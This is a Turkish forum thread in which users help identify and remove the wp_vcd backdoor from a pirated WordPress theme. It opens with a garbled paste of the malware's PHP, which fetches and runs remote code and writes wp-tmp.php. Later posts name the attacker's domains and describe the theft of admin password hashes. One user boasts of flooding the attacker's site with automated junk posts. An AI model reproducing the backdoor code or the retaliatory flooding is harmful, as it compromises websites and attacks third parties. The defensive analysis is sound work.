<?php if (isset && isset && { $div_code_name="wp_vcd"; switch { case 'change_domain'; if (isset { if (! empty { if ($file = @file_get_contents { if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/ \/code\. php/i',$file,$matcholddomain)) } } } break; case 'change_code'; if (isset { if (! empty { if ($file = @file_get_contents { if(preg_match_all('/\/\/\$start_wp_theme_tmp \/\/\$end_wp_theme_tmp/i',$file,$matcholdcode)) } } } break; default: print "ERROR_WP_ACTION WP_V_CD WP_CD"; } die ; } $div_code_name = "wp_vcd"; $funcfile = FILE ; if(! function_exists { $path = $_SERVER . $_SERVER ; if (stripos false && stripos false) { function file_get_contents_tcurl function theme_temp_setup { $tmpfname = tempnam(sys_get_temp_dir , "theme_temp_setup"); $handle = fopen ; if( fwrite else fclose ; include $tmpfname; unlink ; return get_defined_vars ; } $wp_auth_key='b3de80aaa27f65938be458451c3ac075'; if (($tmpcontent = @file_get_contents OR $tmpcontent = @file_get_contents_tcurl AND stripos ! false) { if (stripos ! false) { extract(theme_temp_setup ; @file_put_contents ; if (! file_exists { @file_put_contents(get_template_directory . '/wp-tmp. php', $tmpcontent); if (! file_exists(get_template_directory . '/wp-tmp. php')) } } } elseif ($tmpcontent = @file_get_contents AND stripos ! false ) { if (stripos ! false) { extract(theme_temp_setup ; @file_put_contents ; if (! file_exists { @file_put_contents(get_template_directory . '/wp-tmp. php', $tmpcontent); if (! file_exists(get_template_directory . '/wp-tmp. php')) } } } elseif ($tmpcontent = @file_get_contents AND stripos ! false) elseif ($tmpcontent = @file_get_contents(get_template_directory . '/wp-tmp. php') AND stripos ! false) elseif ($tmpcontent = @file_get_contents AND stripos ! false) elseif (($tmpcontent = @file_get_contents OR $tmpcontent = @file_get_contents_tcurl AND stripos ! false) } } //$start_wp_theme_tmp //wp_tmp //$end_wp_theme_tmp?> EcHoLL tarafından 10/Şub/18 22:17 tarihinde düzenlenmiştir insanları Silahsızlandırmak onları kleleştirmek için En iyi Yoldur.

saolun arkadaşlar, @end eywallah hocam hiç ugraşılmaz o temayla @kafkavari abi direkt kurulu halini tarıyor burası sanırım eywallah bakayım @Schwarz temiz bi pc de bakacam eyw başka bitane bulum tarattım virustotalde, temiz gsteriyor, ama hala kuşkuluyum : ) şeyini şeyettiğimin şeyi

class. theme. modules. php /wp-includes/wp-tmp. php adresinde veya tema dizininde wp-tmp. php isimli bir dosya olacak, o dosyayi http://www.poxford.com/code. php adresinden cekiyor. Referer vermeden girince sozde verification key var ama, alttaki linkten domaini kaydedip referer'a o domaini verince degisiyor . Sen her istek attiginda burada ne yaziyorsa somsomluyor ftp'ne. http://www.poxford.com/o. php?host=' . $_SERVER . '&password= adresiyle de domainini logluyor. Yedek domainleri: http://www.poxford.top/code. php http://www.poxford.pw/code. php end tarafından 10/Şub/18 11:31 tarihinde düzenlenmiştir 0x0480 takilin madem

kafkavari bunu yazdı Bununla taratirmisin hocam. https://sitecheck.sucuri. net Javascript tariyor sanirim bu? evet. genelde js ve dizin dosyalarının içinde gmülü oluyor. sucuri wordpress ağırlıklı güvenlik servisi ondan dolayı kuruluysa taratmasını istedim. Mesele, Türkiye'nin şeftali yerine, motor üretmek istemesiydi. N. Erbakan

muridler https://themeforest.net/item/ask-me-responsive-questions-answers-wordpress/7935874?s_rank=2 bu temanın w4rezini buldum virostotalde tarattım sonuç; DrWeb PHP. BackDoor.77 GData Script. Backdoor. Wp-Vcd. A (3x) bu backdoor un hangi dosyada oldugunu nerden bulabilirim ya da genel oolarak w4rez bi temayı nasıl adam edebilirim? ya da bu temanın saglamını nerden bulabilirim? tema indirme link.: https://www.downloadfreethemes.download/ask-me-v5-1-responsive-questions-answers-wordpress-theme/ şeyini şeyettiğimin şeyi

birçok dosyaya kendini ekliyor nasıl temaysa bu :) insanları Silahsızlandırmak onları kleleştirmek için En iyi Yoldur.

Notepad++ kur. Temayı bi klasre aç, sonra ctrl+f penceresinde find in files var, bütün dosyalarda aratmaya yariyo. Ben şunları aratıyorum yoksa temizdir diyorum, siz de ekleme yapabilirsiniz : Base64, eval, eval( \ask-me\admin\meta-box\css\datepicker. css (2 hits) }. ui-datepicker. ui-datepicker-next span,. ui-datepicker. ui-datepicker-prev span { background-image: url('data:image/png;base64, iVBORw0KGgoAAAANSU... \ask-me\admin\meta-box\css\datepicker. css (2 hits) . admin-color-light. ui-datepicker. ui-datepicker-next span,. admin-color-light. ui-datepicker. ui-datepicker-prev span { background-image: url('data:image/png;base64, iVBORw0... ask-me\admin\functions\main_functions. php (2 hits) function get_twitter_count { $count = get_transient ; if return $count; $count = 0; $access_token = get_option ; $consumer_key = vpanel_options ; $consumer_secret = vpanel_options ; if { $credentials = $consumer_key. ':' . $consumer_secret; $toSend = base64_encode ; $args = array( 'method' => 'POST', 'httpversion' => '1.1' ask-me\admin\functions\main_functions. php (2 hits) / vpanel_twitter_tweets /if ( ! function_exists ) : function vpanel_twitter_tweets($username = '', $tweets_count = 3) { $twitter_data = ""; $access_token = get_option ; $consumer_key = vpanel_options ; $consumer_secret = vpanel_options ; if { $credentials = $consumer_key. ':' . $consumer_secret; $toSend = base64_encode ; $args = array( 'method' => 'POST', 'httpversion' => '1.1', şeyini şeyettiğimin şeyi

Hocam muhtemelen https://www.downloadfreethemes.download/ bu adresten indirdin temayı :) class. theme. modules. php dosyasını direkt sil. Bu dosyanın tema ile herhangi bir alakası yok. Bir de functions. php'nin en üst satırında bu dosyayı çağıran bir komut var, onu da sil. Bunu yapmadan temayı aktifleştirdiğin anda "functions. php" çalışıp o dosyayı çağırıyor ve o dosya kendisini bulduğu her yere yapıştırıyor. Bir de admin şifresinin hashini alıp, ismi geçen siteye post olarak gnderiyor :) Muhtemelen DB'de tutuyor ibnenin evladı bütün bilgileri site adresleri ile birlikte... Ben o siteye random 50 karakter üreterek her 10 dakikada bir 5000 tane post atmaya zamanlayıcı kurdum cron job ile. Lavuk benden bıkıp her hafta domain değiştirse de, zevki bir başka oluyor :D O sitedeki temalardan her türlü indirmeyi yapabilirsin, güzel kaynak oluşturuyor. Dediğim 2 işlemi yap, kalan basit. Mis. Amacımız; zengin olmak. Zengin grünmek değil.

Bununla taratirmisin hocam. https://sitecheck.sucuri. net Javascript tariyor sanirim bu? 0x0480 takilin madem

Çizik herzaman bilinmesi gereken bilgi teşekkür ederim Bazıları sadece konuşur bazıları ise hayalleri ile dünya'ya yn verir.. Mycity

Dr web pc indir temayıda indir tarat zaten o virüslü dosyayı otomatik silecektir Ignorance is bliss.

godaddy nin secure serverine yükle temayı veya scripti herneyse zaten otomatik olarak silecektir sonra error log dan veya normal logdan gsterir sana neden sildiğini nerde ne olduğunu tabi file upload shelli değilse içine konulan shell ama yinede o shell in yüklendiğini bildirmek için mail fonksiyonu vb bişi yapmıştır ordan ayıkırsın. şuan adı aklıma gelmeyen masaüstü bi program gibi bişi vardı scripti ona koyuyorsun sana içindeki sql xss bilmem ne bilmem ne açıkları ve shelleri sylüyordu sana aklıma gelince yazayım da gelceğini sanmıyorum. Best Quality

Bununla taratirmisin hocam. https://sitecheck.sucuri. net Mesele, Türkiye'nin şeftali yerine, motor üretmek istemesiydi. N. Erbakan

Notepad++ kur. Temayı bi klasre aç, sonra ctrl+f penceresinde find in files var, bütün dosyalarda aratmaya yariyo. Ben şunları aratıyorum yoksa temizdir diyorum, siz de ekleme yapabilirsiniz : Base64, eval, eval( İnsanlara umut sat gerisi gelir.

S-E-R-H-A-T bunu yazdı saolun arkadaşlar, @end eywallah hocam hiç ugraşılmaz o temayla @kafkavari abi direkt kurulu halini tarıyor burası sanırım eywallah bakayım @Schwarz temiz bi pc de bakacam eyw başka bitane bulum tarattım virustotalde, temiz gsteriyor, ama hala kuşkuluyum : ) Tavsiyem, ilgili klasorde $_ veya base64_dec aratman yonunde. Bundan once windows arama motoru indexlerine. php uzantisini eklemen gerekiyor ki windows php dosyalarinin icine de kafasini sokabilsin. 0x0480 takilin madem